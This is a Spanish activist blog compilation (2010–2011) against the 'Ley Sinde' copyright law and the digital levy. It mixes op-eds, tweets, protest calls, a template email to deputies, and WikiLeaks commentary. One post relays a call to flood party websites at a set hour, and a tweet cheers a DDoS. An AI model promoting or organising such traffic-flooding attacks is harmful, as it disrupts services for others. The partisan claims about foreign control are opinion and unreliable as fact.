El fragmento anterior, que se puede encontrar en El Quijote interactivo (www.bne.es), es parte del trámite legal de toda publicación en 1604. En esa licencia ya se establecen muy claramente puntos que hoy nos resultan familiares: no solo que el único propietario de los derechos sobre El Quijote es Miguel de Cervantes, sino que la obra es fruto de su trabajo. También indica que solo el autor tiene capacidad para ceder esos derechos exclusivos de reproducción y comercialización de su obra a terceros y, lo que es más importante, expresamente advierte sobre una multa cuantiosa para quien imprima o copie la obra sin permiso. Y es que la cuestión de los derechos de los autores no es ni mucho menos nueva. Con cada cambio tecnológico (en 1604 se trataba de la aparición del maravilloso invento de Gutenberg), los derechos de los hombres y mujeres sobre sus creaciones han atravesado una enorme sacudida.

Sin embargo, cada generación considera que el suyo es un tiempo nuevo y no tiene obligación de recordar que fue la piratería la que empujó a Cervantes a escribir la segunda parte de su novela, o que fue la piratería, tan frecuente en el cine mudo (otro salto tecnológico), la que acabó con cineastas innovadores como Méliès. También contra la piratería y a favor del respeto a los derechos de autor lucharon desde Beaumarchais a Immanuel Kant o, ya en el siglo XX, Mark Twain, hasta el punto de que el término "pirata" en esta acepción fue popularizado por el autor estadounidense.

Lo que diferencia el debate de los tiempos de Cervantes, Beaumarchais o Mèliés del de hoy es que Internet y la digitalización no son un simple salto tecnológico más, sino una descomunal mutación cultural, económica y política sin precedentes.

La pérdida de lo público, la crisis de las instituciones, la indiferencia hacia la política, la precariedad de nuestros vínculos laborales o personales, la incertidumbre y la desconfianza, sumadas a una economía de mercado que huye de las reglas, hacen de Internet en nuestro imaginario una importante alternativa al orden de cosas que conocemos. Una alternativa atractiva y aparentemente viable que creemos que nos pertenece y que se ha convertido en una extensión de nuestros cerebros y de nuestras casas. Pensamos que la Red es de las pocas cosas que no tienen dueño, y sentimos así que viene a cubrir ese vacío inmenso que percibimos, aunque no sepamos muy bien a qué achacarlo.

Los ciudadanos del siglo XXI tenemos la percepción no solo de que Internet es nuestro, sino de que nuestras opiniones cuentan más allí que en el espacio físico donde desarrollamos nuestras insatisfechas vidas. Podría decirse incluso que para muchos sus vidas virtuales son mejores que las reales. O al menos que su presencia, su mera existencia, cuenta mucho más. Internet nos ofrece alternativas a la realidad que podemos construir con nuestras manos. Durante el rato que estamos conectados, dejamos de ser meros consumidores para volver a ser, como antaño, productores de algo con lo que identificarnos.

Si perder un poco de intimidad es el precio que hay que pagar a cambio de una vida sin instituciones, sin normas heredadas y sin patronal, nos parece barato. Menos seguridad por más libertad es la fórmula acuñada por Zygmunt Bauman para definir estos tiempos líquidos. Al fin y al cabo, hacía mucho tiempo que no nos sentíamos miembros de una comunidad tan poderosa.

Que estas semanas el debate sobre la Red sea apasionado no debe, por todo ello, sorprendernos. Es mucho lo que hay en juego. La revolución social se hará por la Red o no se hará, parecen creer muchos, sobre todo esos jóvenes hastiados de una sociedad en la que no se reconocen y en la que encuentran poco o ningún espacio para la expresión y la participación.

Hasta aquí todo se entiende. Lo que quizá sorprenda a un observador del futuro que mire atrás es el antagonismo que, al menos en nuestro país, el debate de Internet ha generado: gente de la cultura versus gente de la tecnología. Los derechos de autor son vistos como palos en las ruedas que solo detienen el avance del progreso, el avance hacia ese cambio social democrático e igualitario, hacia esa transmisión del saber y de nuevos valores que tanto necesitamos y que la Red parece propulsar.

Digamos que esta es la sinopsis de la película, pero algo falla porque la narración no avanza hacia el cambio de modelo ni de negocio ni de sociedad. Y es que el antagonismo parte de un falso supuesto que genera un problema grave de estructura en este guion: la identificación del antagonista. Mientras el héroe (los usuarios de la Red, el mítico internauta) pierde tiempo y energía con el que considera su enemigo (la gente de la cultura), el verdadero adversario está en otro lado haciéndose más y más fuerte.

Pero esta función no ha hecho más que estrenarse, pues aunque parezca que siempre hemos vivido rodeados de pantallas y pantallitas, en realidad somos neonatos. De manera que todavía nos quedan por delante el segundo y el tercer acto. Vaticino que en ellos ese falso antagonista -los de la cultura- se revelará como el aliado natural y verdadero del héroe -el anónimo y desinteresado internauta-, y juntos encontrarán las fórmulas más eficaces para hacer de la Red ese espacio autónomo de creación, libertad y democracia que ya todos sabemos que es. Y la protegerán juntos de las verdaderas amenazas que son, me temo, muy distintas.

Esa ley que popularmente se conoce con el apellido de mi abuela no tiene por objeto ni controlar ni detener el progreso en la Red. De la misma manera que el propósito de las leyes de propiedad intelectual no fue nunca enriquecer a los autores, sino velar por las necesidades e intereses de toda la sociedad: proteger las ideas para que crezcan las ideas. Y a nuestra sociedad -a cualquier sociedad, pero más a la española, que cuenta ya con un inmenso patrimonio cultural en una lengua en expansión- le interesa estratégicamente tener un tejido cultural fuerte, dinámico y diverso.

De los maravedíes al euro han sucedido muchas cosas, sin duda, pero creo que todos coincidiremos en que no fueron Cervantes ni sus colegas autores ni los actores de sus comedias quienes impidieron que llegásemos siglos después a Internet. Más bien fue al contrario. Las transformaciones siempre se hicieron gracias al pensamiento crítico que proporciona la cultura. Lo lamentable sería que los Méliès de hoy fueran erradicados de la Tierra como lo fue el gran cineasta francés cuando gigantes como Edison lo llevaron a la ruina imponiendo un modelo de negocio que llevaba anejo un modelo narrativo, estético e ideológico único.

Como no estemos muy atentos, eso es exactamente lo que ocurrirá con la cultura. Cada vez menos gente podrá dedicarse profesionalmente a ella y nos veremos abocados a un menú monofágico de apenas unos pocos platos que gusten a muchos y que decidan por nosotros grandes intereses económicos (los verdaderos dueños de la Red).

Que Internet tiene que ver con democracia es algo que el Gobierno sabe bien. No en vano impulsa cada año desde los Presupuestos Generales del Estado, y a través de Ministerios como Industria, Ciencia e Innovación, Educación y, por supuesto, Cultura, fuertes inversiones para que España no se quede atrás y esté entre los primeros en el desarrollo de las TIC y en acceso a la Red. Por eso también ha sido la Ley de Economía Sostenible la que aborda en más de un artículo, además de la ya célebre Disposición Final, el impulso a esa transformación que favorecerá la recuperación económica y nuestra competitividad internacional. Para que nadie mande sobre las ideas de nadie. Para que nadie imponga modelos a nadie. Para garantizar la convivencia de todos los derechos, pero, sobre todo, para favorecer el avance de la sociedad hacia más democracia, más voces y más justicia.

Angeles González-Sinde
http://www.elpais.com/articulo/cultura/adversario/elpepucul/20110118elpepicul_2/Tes

Paga el canon y calla

2011-01-17T10:55:00.002+01:00

El mensaje a los ciudadanos y a quienes luchan por disminuir el abuso que supone la compensación por copia privada es claro: "paga el canon y calla".

Por si quedaba alguna duda, los hechos confirman lo que era previsible. La reforma del canon digital para adecuarlo a la sentencia que declara ilegal su aplicación indiscriminada en España no va a ser eficaz, veloz ni consensuada. Podría demorarse "meses". Hay que reconocer que en este aspecto González-Sinde no mintió, aunque sí trató de tomar por idiotas a los diputados y a los ciudadanos al decir que trataría de actualizar la normativa "lo más rápidamente posible", puesto que se dio a sí misma medio año para cambiar las cosas. Sin embargo, en el resto de los puntos salta a la vista la ausencia de sinceridad de lo que dijo la ministra hace más de tres semanas.

Se está negociando la reforma de la compensación por copia privada, eso es cierto, pero aquí no va a haber eficacia (excepto, con toda seguridad, para la SGAE y demás entidades de gestión), ni mucho menos consenso. Sobre esto último, el Gobierno está dispuesto a reunirse, y lo hace, con las "fuerzas vivas" del canon. Quienes han acudido al primero de los encuentros son las sociedades de gestión de derechos de autor, que se embolsan el canon, y Ametic. Sobre esta última hay que destacar que es una patronal (surgida de la fusión de otras dos) presentada en sociedad hace unas semanas por el Ministro de Industria, Pablo Sebastián, y cuyos miembros se van a ver beneficiados por los jugosos fondos de la prórroga del Plan Avanza 2. En concreto, para este año están presupuestados 1.116 millones de euros. Dudamos de que ante estas cifras, que además están pidiendo que se incrementen, estos señores quieran ser un incordio en sus negociaciones por el canon.

Quienes por el momento no han sido llamados a la mesa de negociaciones son las asociaciones de internautas, de consumidores y Apemit, la asociación de pequeñas y medianas empresas de informáticas afectadas de forma negativa por la compensación por copia privada. Dicho de otro modo, quienes pagan el canon o a quienes les destroza su cuenta de resultados no tienen derecho a voz ni voto en tan grave asunto. Al menos, por el momento. Lo que hay por ahora hacia el común de los españoles con respecto al canon es un puro y duro: "calla y paga". Y lo más seguro es que esto se mantenga.

Por si queda alguna duda de cuál es el papel que corresponde a quien sufre el canon, el Gobierno ni se ha molestado en decir cuándo podrán participar en las conversaciones. Quienes se han encargado de ello han sido los representantes de las entidades de gestión y de Ametic. Ambos han dicho que la participación de las asociaciones de internautas y Apemit tendrá lugar cuando lo marque la ley. Suena a pitorreo. Ninguna norma jurídica marca el momento en el que este tipo de organizaciones deben entrar en juego en unas negociaciones que, se supone, son a varias bandas. Pero el representante de la SGAE y sus hermanas han ido más allá, se han atrevido a indicar que los que todavía no tienen voz podrán hablar "en el momento adecuado". Le ha faltado decir que eso será cuando ya esté todo decidido.

En resumen, como señalábamos más arriba, el mensaje a los ciudadanos y a quienes luchan por disminuir el abuso que supone la compensación por copia privada es claro: "paga el canon y calla".

Antonio José Chinchetru es autor de Sobre la Red 2.0.
Nota: El autor autoriza a todo aquel que quiera hacerlo, incluidas las empresas de press-clipping, a reproducir este artículo, con la condición de que se cite a Libertad Digital como sitio original de publicación. Además, niega a la FAPE o cualquier otra entidad la autoridad para cobrar a las citadas compañías o cualquier otra persona o entidad por dichas reproducciones.

Ira

2011-01-13T16:22:00.002+01:00

Este señor de la foto de la izquierda se llama Manuel Gutiérrez Aragón. Y en una cena ante numerosos testigos el pasado viernes 7 de enero pronunció las siguientes frases: "hay que luchar por la propiedad intelectual y no dar ninguna tregua a los internautas, porque es como pactar con los terroristas", y "con tanta demagogia a la gente se le olvida de que se trata de una industria y que, por tanto, es como robar en El Corte Inglés". Así, sin más matices. El señor Gutiérrez Aragón, sin despeinarse lo más mínimo, ha calificado a cientos de miles de usuarios de la red en España nada menos que de "ladrones" y "terroristas". En un país que ha sufrido el impacto directo del terrorismo durante casi cincuenta años, el uso del calificativo "terroristas" aplicado a pacíficos ciudadanos es de tal mezquindad e irresponsabilidad, que no puede quedar sin respuesta. No sé vosotros, pero yo me siento directamente insultado.

Una primera medida lógica, siendo civilizado y evitando responder al insulto con el insulto, es ignorar completamente a partir de ahora todo producto que tenga la más mínima relación con este señor. Este señor hace películas, como guionista y director: aquí tienes la lista completa. Y las hace presuntamente para que vayamos a verlas tú y yo. Pues que espere sentado. Al insulto se responde, como mínimo, ignorando al que lo profiere y evitando ponerse a su altura.

Pero la segunda medida podría ser diferente, y nos lleva a plantearnos los mecanismos que estamos empleando en esta desigual contienda que se libra entre, por un lado, las entidades de gestión y las industrias dedicadas a la explotación de la propiedad intelectual y, por otro, la gran mayoría de los ciudadanos: hasta el momento, la respuesta ciudadana ha sido siempre reactiva. Es decir, ante una acción de la industria, utilizando los muchos medios a su alcance, bien económicos, de llegada a los medios o al poder político, se planteaba una reacción posterior de los ciudadanos. Ante una denuncia a una página de enlaces, por ejemplo, algunos abogados, de manera loable, hacían esfuerzos para poder llevar ese caso, incluso teniendo en cuenta un importante nivel de riesgo y una posibilidad no despreciable de no poder repercutir sus honorarios profesionales. El colectivo de ciudadanos a los que el señor Gutiérrez Aragón y otros tantos insultan y calumnian carece de estructura y de medios para pasar de la reactividad a la proactividad, para tomar la iniciativa, y esa circunstancia sesga totalmente los resultados del tema en discusión.

¿Hay un delito en las declaraciones del señor Gutiérrez Aragón? No soy abogado, pero en nuestro país ya ha habido condenas en firme a periodistas, ratificadas por el Tribunal Supremo, por algo mucho más sutil: calificar de "impuesto revolucionario" el canon de la SGAE a la hostelería. En este caso, el supuesto de intromisión ilegítima en el honor ni siquiera era contra una persona física, sino contra una persona jurídica. ¿Cabe hablar del honor de una institución? ¿Cabría por tanto hacerlo del de un colectivo? ¿Puede/debe sostenerse jurídicamente una demanda colectiva a este señor en la que se personase como parte acusatoria todo aquel que se haya sentido insultado, y reclamase el correspondiente resarcimiento? Porque si se puede, valdría la pena constituir algún tipo de fondo de defensa jurídica y empezar a utilizarlo.

Que un bando se dedique a calificar al otro de "piratas", "delincuentes" o incluso "terroristas" con total impunidad es, aparte de muy poco inteligente si quienes están al otro lado son tus presuntos clientes, algo que condiciona enormemente el posible diálogo, una manera de envenenar la discusión, y, sobre todo, una condición de desigualdad e injusticia total si después resulta que quien está al otro lado recurre constantemente a la judicialización de la conversación cuando interpreta insultos hacia su entidad o sus representantes. Pasar de lo meramente reactivo a lo proactivo tiene ventajas evidentes en toda contienda, y más si quienes estamos al otro lado somos más, somos una parte enormemente significativa del conjunto de la ciudadanía. Para empezar una discusión seria en este tema es preciso que quienes utilicen la palabra "piratas" para referirse a los ciudadanos, "robo" para referirse a un comportamiento que los jueces han calificado como no constitutivo de delito, o lindezas similares se vean obligados a afrontar las consecuencias de sus palabras. Los ciudadanos debemos, dado que no nos respetan, hacernos respetar con los medios a nuestro alcance.

Los insultos de Manuel Gutiérrez Aragón no deberían, en una sociedad civilizada, quedar sin respuesta. Esta entrada es la mía, mi derecho al pataleo ante sus insultos. ¿Dónde está tu respuesta? ¿Te vas a quedar tan tranquilo?

Por Enrique Dans.

Miedo

2011-01-13T16:21:00.001+01:00

"Durante toda la reunión, no pude sacarme de la cabeza las imágenes de la película 'El hundimiento': encerrados en un búnker, sin ver ni querer ver el afuera, delirando planes inaplicables para ganar la guerra, atados unos a otros por fidelidades torpes, muertos de miedo porque el fin se acerca, viendo enemigos y traidores por todos lados, sin atreverse a cuestionar las ideas que les arrastran al abismo, temerosos de los bárbaros que están a punto de llegar… "

Amador Fernández-Savater, "La cena del miedo (mi reunión con la ministra González Sinde)" - 11 de enero de 2011

Reacciones en twitter tras la votación

2010-12-22T11:34:00.002+01:00

Algunas reacciones en Twitter tras la votación de la Ley Sinde.

Sobre la Ministra...

Internautas invita a la ministra de Cultura a dimitir en un «acto de coherencia» tras el fracaso de la «ley Sinde»

Buenos días, ha dimitido Sinde ya? #sindegate

Los artistas prometen presentar en la UE otro modelo 'más contundente' tras el rechazo a la 'ley Sinde'

Sinde consiguió más espectadores en Canal del Congreso para ver rechazo de su ley q en sus pésimas películas

Creo que El País ha puesto su granito de arena contra la #leysinde dejando todo el día la foto de González "Ogro" Sinde en portada...

La Ley Sinde no ha sido aprobada, tomaaaaaa!!!! seguiremos disfrutando gratis de las mejores series!!

Ángeles González-Sinde os desea Feliz Navidad y un prospero año 1984 #sindegate #sinde #leysinde

Sobre Alejandro Sanz

"El día que me baje un disco de Alejandro Sanz, me entrego a la justicia"

Leyendo lo de Alejandro Sanz. Me pregunto quién es/son los hipócritas aquí?

Buenas tardes, mi nombre es Alejandro Sanz y mis conciertos los paso apuntando el micro hacia el público #alejandrosanzfacts

Ramoncin+no pagar impuestos= Alejandro Sanz

Alejandro Sanz intentó tributar en España pero no se atrevió a descargarse el programa PADRE por si era delito.

Cada vez que alguien descarga un disco de Alejandro Sanz muere un animal en peligro de extinción #alejandrosanzfacts #sindegate.

Sobre Miguel Bose

la que le está cayendo a Bosé en fb tampoco es tonteria! ... Que se junte con A.Sanz y hagan una mani!

Los de forocoches troleando el Facebook de Miguel Bosé sí que es un DDOS en toda regla. Estos si que dan miedo ;)

Comentan que han visto a Bose y Alejandro Sanz coger el ferrari y dar un portazo a mala ostia. #leysinde

Propuesta: Gran quema de discos de Ramoncín, Sanz y Bosé (piratas, por supuesto) #sindegate #leysinde.

Sobre Alex de la Iglesia

Álex de la Iglesia arremete contra las telefónicas a unas horas de la votación de la 'Ley Sinde'

@AlejandroSanz, Alex de la Iglesia, la Sinde y Ramoncín están jugando al mus. La casa de getxo les ha denunciado por pirateo de dialogos.

http://elteleoperador.blogspot.com/2010/12/twitteando-con-alex-de-la-iglesia.html

La SGAE contra Mozart

2010-12-21T16:58:00.003+01:00

Bonita anécdota que seguro no le han contado a la Sinde

"Miserere de Allegri, ha sido, con certeza, la obra más exageradamente prohibida de todos los tiempos. Hacia mediados del siglo XVII Gregorio Allegri cumplió el encargo hecho por el Papa Urbano VIII de elaborar una partitura musical para ser única y exclusivamente interpretada en la Capilla Sixtina dos veces al año, una obra coral cuyas notas y voces hubiesen sido sólo pensadas y diseñadas para rebotar en las pinturas de Miguel Ángel. El castigo que amenazaba a quien se atreviera a vulnerar la fantástica prohibición y difundir la obra era la excomunión. Nunca el concepto de propiedad intelectual fue llevado tan lejos y nunca la violación de un copyright tuvo una multa tan extraordinaria y metafísica. Gracias a esta «urbanística» iniciativa, aquel CD post-renacentista permaneció como propiedad exclusiva del coro papal y como celoso secreto de la Iglesia durante más de un siglo. Hasta la madrugada del Miércoles Santo de 1769 en la que Mozart, a la edad de trece años y en un viaje a Roma, lo oye en compañía de su padre y rompe esa ley restrictiva al memorizarlo entero. Lo ha escuchado una sola vez pero al dejar la Capilla Sixtina ya se lleva íntegramente registrados los doce minutos de música en su cabeza (ése sí que era un disco duro y no lo de otros). Por esa bendita infracción, el Miserere de Allegri pudo ser difundido y nos ha llegado intacto. Sin que lo supieran ni el propio Mozart ni su padre, ni la SGAE ni el Gobierno de Zapatero, se acababa de producir la primera descarga ilegal de la Historia.

La anécdota es muy ilustrativa porque, si Allegri era un gran músico, tampoco Mozart era un mindundi, hecho obvio por el cual queda un tanto salvada la honrilla maltratada del pobre usuario particular de internet que simplemente se descarga una melodía para consumo personal o de los suyos sin ningún ánimo de lucro. No se trata, en fin, del gorrón vulgar y mediocre que trata ilegítimamente de disfrutar del sonoro néctar de la creatividad de un genio. También en ese usuario cabe la capacidad de crear e incluso la genialidad como fue el caso de Mozart sin ir más lejos. Yo es que no sé si se han dado cuenta los señores de la SGAE de que la «propiedad» nunca ha sido un «genuino concepto de izquierdas» y de que un sentido tan rentabilizador y usurero, tan hiperlegalista y burócrata, tan policial e inquisitorial de la propiedad intelectual resulta la cosa más reaccionaria y antisocialista del mundo. Yo no sé si se dan cuenta de la impopularidad que están ganándose a pulso estos peseteros extemporáneos de la Europa del euro que no perdonan al Universo la calderilla y que deben pensar en un «modelo de negocio sostenible» que no sea el «cobro totalitario» ni ese afán de ponerle puertas al campo y al bosque y al mar y al aire.

Mozart, por cierto, nunca fue excomulgado sino condecorado por su travesura con la insignia pontificia de la Orden de la Espuela de Oro, que, paradójicamente, absolvía a quien la recibiera de cualquier sentencia de excomunión. Clemente XIV era un tipo enrollado. No iba de progre el hombre, pero se dio cuenta de que el mundo había cambiado. No como éstos"

(Publicado en LA RAZON)

Internet ha muerto, "LARGA VIDA A INTERNET"

2010-12-21T11:39:00.004+01:00

Hoy es un día de luto. Están a punto de asesinar algo que habíamos pensado que era nuestro. Algo que pensabamos que nos pertenecía. La neutralidad en la red. Hoy día 21 de Diciembre, en un estado de derecho, democrático y en contra de una amplia mayoría, van a proceder al asesinato por la vía rápida y por la puerta de atras de lo que un día conocimos como Internet.

Un lobby procedente de empresas con una poderosa economía con sede en EEUU han metido sus largos dedos en el gobierno de nuestro país para sacar leyes a su medida y a la de sus bolsillos. Esto no es para nosotros. Es para ellos. Nuestros políticos nos dan la espalda. No nos necesitan para gobernar. Están mejor sin nosotros. Solo molestamos. Igual hasta les tenemos que pedir perdón por todo lo mal que se lo estamos haciendo pasar. Parece que no entendemos que la ley la sacan para nosotros... Si, para nosotros. Para recortar nuestros derechos. Porque algo que un juez repetidas veces ha declarado que no es ilegal, ellos no lo creen así. Y todo por nuestro "bien". No solo les tenemos que pedir perdón, también deberíamos darles las gracias porque el día de hoy lo recordaremos siempre.

Internet ha muerto, "LARGA VIDA A INTERNET"

Movilizaciones en la Red:
http://www.elpais.com/articulo/tecnologia/Movilizacion/Red/ley/Sinde/elpeputec/20101220elpeputec_5/Tes

http://www.nacionred.com/sociedad-civil-digital/estos-chicos-creen-tener-razones-para-tumbar-hoy-la-web-del-congreso

http://noticias.lainformacion.com/arte-cultura-y-espectaculos/internet/ataque-masivo-contra-las-webs-de-psoe-ciu-pp-y-pnv-por-la-ley-sinde_1XA7p8IpcZs6EuZ2ptXaY1/

Wikileaks:
http://translate.google.com/translate?u=http%3A%2F%2Fwww.elpais.com%2Farticulo%2Fespana%2FCable%2Freunion%2FGonzalez-Sinde%2Fembajador%2FEE%2FUU%2Felpepuesp%2F20101220elpepunac_24%2FTes&sl=en&tl=es

La ley Sinde:
http://muycomputer.com/files/264-30226-FOTO/LeySinde_pdf.JPG

Movilizaciones contra la Ley Sinde hoy a las 18:00

2010-12-20T17:00:00.004+01:00

Como os hemos venido informando durante estos días mañana día 21 de diciembre se podría aprobar la polémica Ley de Economía Sostenible, pero no mediante el Congreso de los Diputados, sino por un proceso express en una Comisión de Economía, haciendo de este modo que no haya debate alguno entre los diputados y a su vez, desoyendo los deseos de la población contra esta ley.

Ayer comenzamos a ver las primeras protestas por parte de un grupo de páginas web de enlaces que cerraron durante doce horas para mostrar su oposición a la Ley Sinde que podría estas páginas web en un grave peligro de ser cerradas si la ley es finalmente aprobada. Pero este no es el único movimiento, ya que para hoy se ha convocado a los usuarios para que accedan de forma voluntaria a las páginas web del PSOE y CiU a partir de las 18:00 a estas. El grupo que convoca esta acción señala que se trata de una manifestación legitima contra la aprobación de la ley que atenta contra los derechos de los ciudadanos.

Visto en: http://alt1040.com/2010/12/movilizaciones-contra-la-ley-sinde-hoy-a-las-1800

La Ley Sinde o cómo hacer lo que te venga en gana

2010-12-20T11:21:00.004+01:00

Mañana se aprobará la Ley Sinde. Nadie la quiere, a nadie le gusta, pero es así. Se va a aprobar sin que podamos hacer nada. Todo para el pueblo pero sin el pueblo.

Enrique Dans:
"La cuestión resulta curiosa: las comunicaciones reveladas por WikiLeaks son documentos oficiales, de imposible refutación. Quienes las revelan son cinco grandes medios de indudable prestigio, tomados habitualmente como fuentes de toda solvencia: Der Spiegel, El País, Le Monde, The Guardian y The New York Times, que lógicamente han hecho su trabajo de comprobación y verificación de fuentes previo a la publicación. Los documentos implican a personas concretas en acciones específicas y constitutivas de diversos delitos y faltas, algunas de ellas muy graves, cuando no de una absoluta falta de etica e indignidad.
Conspirar con una potencia extranjera para enterrar las reivindicaciones de la familia de un periodista asesinado, para mentir y engañar con datos falsos con el fin de conseguir una legislación favorable a una serie de intereses comerciales, para perjudicar los intereses de empresas españolas o para la infinidad de temas que las filtraciones de WikiLeaks han ido revelando suponen faltas graves, cuestiones que deberían conllevar el cese de varias personas en sus cargos de manera inmediata y fulminante. Sin embargo, la respuesta unánime de todos los gobiernos y de toda la diplomacia internacional ha sido la del avestruz: enterrar la cabeza en la arena, no decir absolutamente nada, y esperar a que escampe. Que los testimonios revelados por WikiLeaks sean ya conocidos por una inmensa mayoría de ciudadanos escandalizados, que estén copiados en miles de sitios web en todo el mundo o que resulte evidente que no van a ser enterrados por el devenir de la actualidad, sino incluidos en el acervo colectivo de los recuerdos y memorias de la ciudadanía durante generaciones es algo que no detiene su impresentable e incalificable actitud.
Los gobiernos se han convertido en Don Tancredo: subidos a un pedestal, con la cara pintada, y completamente inmóviles, a la espera de que el toro los ignore, se dé la vuelta y les permita seguir con sus turbios manejos, con toda esa serie de excesos de autoridad que van mucho más allá de aquello para lo que los elegimos, de los poderes que legítimamente les permitimos ejercer. Los gobiernos han decidido olvidar quién los puso ahí, a quién se deben, quién los vota y los designa. Y quién debería tener el legítimo derecho de retirarles la confianza, algo completamente lógico y justificado en virtud de todo lo que hemos podido ver durante estos dias. Si los gobiernos no reaccionan, si deciden adoptar el silencio por toda acción, tomarnos por completos idiotas que no se enteran de la gravedad real de las cosas, los que tenemos que reaccionar somos nosotros, la ciudadanía. No esperar a que, como pretenden, la indignación se pase. No hacer el juego a su absurda estrategia del avestruz. Reaccionar ya. No esperes. Reacciona."

Los ciudadanos darán sus condolencias al Estado por la muerte de la Libertad de Expresión

2010-12-20T09:56:00.002+01:00

Ante la inminente aprobación mediante una puerta trasera de la por desgracia famosa Ley Sinde, PIRATA realizará, en cuantos Ayuntamientos sea posible, un acto consistente en el entierro simbólico de parte de la libertad que hasta ahora habíamos disfrutado los ciudadanos. Hecho más grave, cuanto este entierro es en gran parte debido a las presiones de un gobierno extranjero, en claro detrimento de la Soberanía Nacional. Depositaremos rosas negras en los Ayuntamientos de toda España, el próximo lunes 20 de diciembre por la tarde a las 19:00. También pondremos rosas negras en nuestras webs, blog y fotos de perfiles de redes sociales.

Dado que los actos se llevarán a cabo por grupos de menos de 20 personas, no es necesario comunicarlos a la Delegación del Gobierno. Iremos actualizando esta entrada conforme los afiliados de PIRATA repartidos por todo el territorio nacional, vayan confirmando estos actos en cada ayuntamiento.

Madrid

Ministerio de Cultura. Plaza del Rey, 1. Palacio de Cibeles, Plaza de Comunicaciones 19:00 <M> Banco de España, Gran Vía o Sevilla.

Valencia

Frente a la puerta del Ayuntamiento, Plaza del Ayuntamiento 19:00.

Material gráfico:

Visto en http://www.partidopirata.es/blog/los-ciudadanos-daran-sus-condolencias-al-estado-por-la-muerte-de-la-libertad-de-expresion/

Envía tu mensaje a los diputados

2010-12-16T11:32:00.002+01:00

No soy SPAM, soy español!

2010-12-15T11:47:00.007+01:00

---------- Mensaje enviado ----------
De:
Fecha: 15 de diciembre de 2010 11:45
Asunto: No soy SPAM, soy español!
Para: pedro.azpiazu@diputado.congreso.es, mcolldeforns@diputada.congreso.es, marta.gaston@diputada.congreso.es, cristobal.montoro@diputado.congreso.es, jsanchez@unio.cat, mailto:baudilio.tome@diputado.congreso.es ana.oramas@diputada.congreso.es, prensa.icv@gpiv.congreso.es

Hola, soy un ciudadano español que está descontento con lo que está ocurriendo en este país.

Le escribo para expresar mi preocupación y desacuerdo con la Disposición Final Primera del proyecto de Ley de Economía Sostenible, puesto que, con la actual redacción de dicha disposición, se podría ejecutar el cierre de una multitud de sitios web con total indefensión del demandado, con unos criterios indeterminados y sin que, en ningún caso, un juez pudiera intervenir en la valoración de si la actividad de dicho sitio web vulnera nuestro ordenamiento jurídico.

Le escribo para expresar mi preocupación y desacuerdo con la Disposición Final Primera del proyecto de Ley de Economía Sostenible, puesto que, ha sido una ley promulgada por los EEUU.

Es inconcebible que en un Estado de pleno derecho como es España, se admita la creación de tribunales que actúan al margen del poder judicial y contraviniendo su jurisprudencia.

Ustedes saben que no es más que una manera de evitar las sentencias desfavorables que el sector de los gestores de derechos de autor están recibiendo; y que ha sido incluida en la LES para que pasa lo más desapercibida posible además de haber sido redactada por el gobierno de los EEUU, a los que hasta ahora no pensaba que hiciesen las leyes de España.

Es cierto que el problema de los derechos de autor merece una solución, pero esta no debe pasar por recortar derechos a la población ni por pasar por encima a los jueces.

Por ello le insto a usted, elegido en representación de nosotros los ciudadanos, a votar en contra de dicha disposición final. Los derechos fundamentales que nos amparan y defienden a todos, NO SON NEGOCIABLES, ni son moneda de cambio para favorecer los intereses privados de multinacionales, falsamente amparadas en una inexistente defensa de la cultura. Defenderé mi oposición a esta medida en todo momento y circunstancia mientras siga vigente, y por supuesto, incluye mi voto.

Atentamente,
un ciudadano español

Wikileaks, la Ley Sinde y el Estado de Alarma

2010-12-13T11:50:00.005+01:00

En prácticamente una semana hemos conocido que la Ley Sinde es una imposición de la Embajada de EEUU, que el responsable de revelar esa verdad oculta está hoy preso y sin fianza en una cárcel inglesa, a petición de la Físcalía sueca y que en España se ha decretado el Estado de Alarma. No, no es ficción, ni un guión cinematográfico, ni siquiera una teoría de la conspiración, esta es la cruda realidad.

En un primer intento de desacreditar las filtraciones de Wikileaks se difundió la idea de que era un tema sin la menor importancia y que sólo se trataba de cotilleos sobre los diversos líderes mundiales y sus particularidades. Sin embargo, las embajadas no se dedican a los cotilleos. Nadie usa conductos diplomáticos confidenciales y seguros sólo para difundir cotilleos, para eso ya está la televisión.

Y tampoco se inicia toda una cacería humana, primero para intentar eliminar físicamente al mensajero y luego para cortarle toda su posible financiación, si lo que saca a luz pública esa persona no son más que cotilleos sin valor alguno.

Se ha tenido que movilizar nada menos que a dos gigantes como Mastercard y Visa (que sin embargo, sí parecen felices de ofrecer sus servicios a asociaciones vinculadas al Ku Klux Klan, PayPal, Amazon y la (hasta ahora) neutral Suiza, paraíso incluso del dinero de dudosa procedencia, pero que sin embargo se vuelve muy escrupulosa en otros casos, para lograr acorralar a un simple periodista que sólo se ha dedicado a contar la verdad, como debería hacer todo periodista que valore en algo su profesión. Una profesión, callada por el momento, que debería estar exigiendo ya la libertad de Julian Assange y el cese de las actitudes hostiles contra su web. Una profesión que debería aprender de blogs como éste, que sí exige lo que cualquier periodista del mundo debería estar exigiendo en estos momentos.

Una vez desmontada la falacia de que sólo se trataba de cotilleos, algunos políticos norteamericanos han declarado abiertamente todo lo contrario, es decir, que la difusión de esos cables era en realidad un asunto gravísimo y que Wikileaks debe ser destruida.

Por tanto, también ha quedado demostrado con el caso Wikileaks que el gobierno americano estaba en las antípodas de la verdad antes o lo está ahora.

Este caso ha puesto las pruebas encima de la mesa de algo que parecía una verdad a gritos. Que Estados Unidos utiliza todo su poder para crear legislaciones favorables a sus intereses en todo el mundo; es decir, que de facto gobierna en todo el mundo. Algo que casi todos sospechaban con mayor o menor intensidad, pero que ahora se sabe con certeza, a la vista de las pruebas que representan los cables diplomáticos filtrados. El juego sucio de la diplomacia en su máxima expresión.

El cordero que se vanagloria de ser el paradigma de la democracia y de las libertades esconde al verdadero lobo que lleva dentro, dispuesto a cualquier cosa por conseguir sus objetivos, por turbios que éstos puedan ser. Y como los regímenes más autoritarios a los que dice combatir, tampoco tolera la disidencia.

Hasta ahí todo parece normal, por decir algo, porque ya nos hemos acostumbrado a esos comportamientos a base de sufrirlos. Pero lo que es absolutamente inadmisible es que un gobierno esté dispuesto a legislar contra sus propios ciudadanos y a favor de una potencia extranjera. Algo que formalmente, si esa potencia extranjera fuese además enemiga, se calificaría como delito de traición. Y aunque la potencia extranjera sea "amiga" no deja de ser representativo de lo que le importa a un gobierno los ciudadanos de su propio país, cuando está dispuesto a venderse a otra nación sin el menor reparo.

